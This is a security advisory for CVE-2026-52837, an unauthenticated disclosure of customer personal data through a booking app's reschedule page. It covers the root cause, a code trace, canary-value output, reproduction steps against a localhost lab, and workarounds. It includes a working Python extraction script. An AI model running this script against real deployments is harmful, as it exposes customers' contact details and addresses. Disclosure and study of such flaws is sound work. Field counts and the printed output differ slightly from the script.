CVE-2026-52837

The booking reschedule view at /index.php/booking/reschedule/{appointment_hash} (handled by Booking::index()) embeds the entire customer record as inline JavaScript (const vars = {... "customer_data": {...}, ...}) without authentication and without field whitelisting. Anyone in possession of the 12-character appointment_hash, which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links, can read every column of that customer's row in the ea_users table.

Verified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and id_roles.

Details

Root cause

application/controllers/Booking.php at line 184 reads the hash from the request, fetches the appointment, then loads the customer with Customers_model::find(), which returns the full row, no projection. It then passes the full record into script_vars(), which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only first_name and last_name; everything else is exposed for no functional reason.

// application/controllers/Booking.php (v1.5.2)
$appointment_hash = html_vars('appointment_hash');         // line 184
if (!empty($appointment_hash)) {
    $manage_mode = true;
    $results = $this->appointments_model->get(['hash' => $appointment_hash]);
    // ...
    $appointment = $results[0];
    $provider = $this->providers_model->find($appointment['id_users_provider']);
    $customer = $this->customers_model->find($appointment['id_users_customer']);  // ← full row, no projection
    $customer_token = md5(uniqid(mt_rand(), true));
    $this->cache->save('customer-token-' . $customer_token, $customer['id'], 600);
}

script_vars([
    // ...
    'customer_data' => $customer,                          // ← all PII inlined in HTML
    'customer_token' => $customer_token,
]);

The URL pattern is in the CSRF exemption list (application/config/config.php, csrf_exclude_uris covers booking/.*) and no authentication middleware applies, by design, that's the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.

Source-to-Sink

• Source: HTTP GET to /index.php/booking/reschedule/{appointment_hash}, unauthenticated; hash read via html_vars('appointment_hash') (Booking.php:184).
• Intermediate: appointments_model->get(['hash' => $hash]) → row fetched; customers_model->find($appointment['id_users_customer']) returns the full customers row.
• Sink: script_vars(['customer_data' => $customer, ...]) (Booking.php:254-270) emits inline const vars = {..., "customer_data": {...}, ...} JavaScript in the response HTML.

Fields disclosed

Confirmed in PoC output (canary values used as markers):

customer_data: {
  "id": 4,
  "first_name": "Victim",
  "last_name": "Tester",
  "email": "[email protected]",
  "phone_number": "+1-555-0100",
  "address": "100 Privacy Lane",
  "city": "Sensitiveville",
  "zip_code": "00001",
  "timezone": "UTC",
  "language": "english",
  "custom_field_1": "CFLD1-CANARY",
  "is_private": "0",
  "ldap_dn": null,
  "id_roles": 3
}

Fields that would also leak when populated: mobile_number, state, notes (free-form, operators often store sensitive context here), custom_field_2–custom_field_5, ldap_dn.

Proof of Concept

#!/usr/bin/env python3
# poc_001_easyapp_pii_disclosure.py, exploit mode (extract from attached PoC)
import argparse, json, re, sys, requests

PII_FIELDS = ["email","phone_number","mobile_number","address","city","state",
              "zip_code","notes","custom_field_1","custom_field_2","custom_field_3",
              "custom_field_4","custom_field_5","ldap_dn"]

def exploit(target, hash_):
    url = f"{target}/index.php/booking/reschedule/{hash_}"
    r = requests.get(url, timeout=15); r.raise_for_status()
    m = re.search(r"const\s+vars\s*=\s*(\{.*?\});", r.text, re.DOTALL)
    ea = json.loads(m.group(1))
    customer = ea.get("customer_data") or {}
    leaked = 0
    for f in PII_FIELDS:
        if customer.get(f) not in (None, "", 0):
            print(f"  {f:18s} = {customer[f]!r}"); leaked += 1
    print(f"[+] disclosed {leaked} PII fields without auth")
    return leaked

if __name__ == "__main__":
    p = argparse.ArgumentParser()
    p.add_argument("--target", default="http://localhost:8000")
    p.add_argument("--hash", required=True)
    a = p.parse_args()
    sys.exit(0 if exploit(a.target, a.hash) > 0 else 1)

Reproduction

1. Bring up the lab from the project's official docker-compose.yml (pinned to v1.5.2). Complete the one-time install at /index.php/installation (or php index.php console install from the php-fpm container).
2. Book one appointment through the public flow (the bundled --seed helper does this automatically and prints the resulting hash).
3. Run the unauthenticated extractor:

   python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash <HASH>
   

4. Observed output (verified 5/5 consecutive runs):

   email              = '[email protected]'
   phone_number       = '+1-555-0100'
   address            = '100 Privacy Lane'
   city               = 'Sensitiveville'
   zip_code           = '00001'
   custom_field_1     = 'CFLD1-CANARY'
   [+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.
   

The PoC and its docker-compose reproduction environment are attached.

Workarounds

Operators can mitigate temporarily by:

1. Disabling the reschedule link in confirmation emails (in Booking_settings/Email_settings templates), forcing customers to re-book instead.
2. Disabling the public booking page entirely (disable_booking setting) for deployments that can tolerate it.

Neither workaround removes the root cause; an attacker who already holds a hash can still extract.

Credits

• Discovered through source-code audit by peoplstar

References

• application/controllers/Booking.php lines 184-270 (v1.5.2)
• application/models/Customers_model.php::find, returns the full row, no projection
• application/config/config.php csrf_exclude_uris, whitelisting booking/.*
• Related prior PR #1753 (permission checks on appointment search), same project, adjacent code, vendor previously accepted this class of issue.

docker-compose.yml
easyapp_pii_disclosure.py
requirements.txt
consistency_test.txt
leaked_customer_data.txt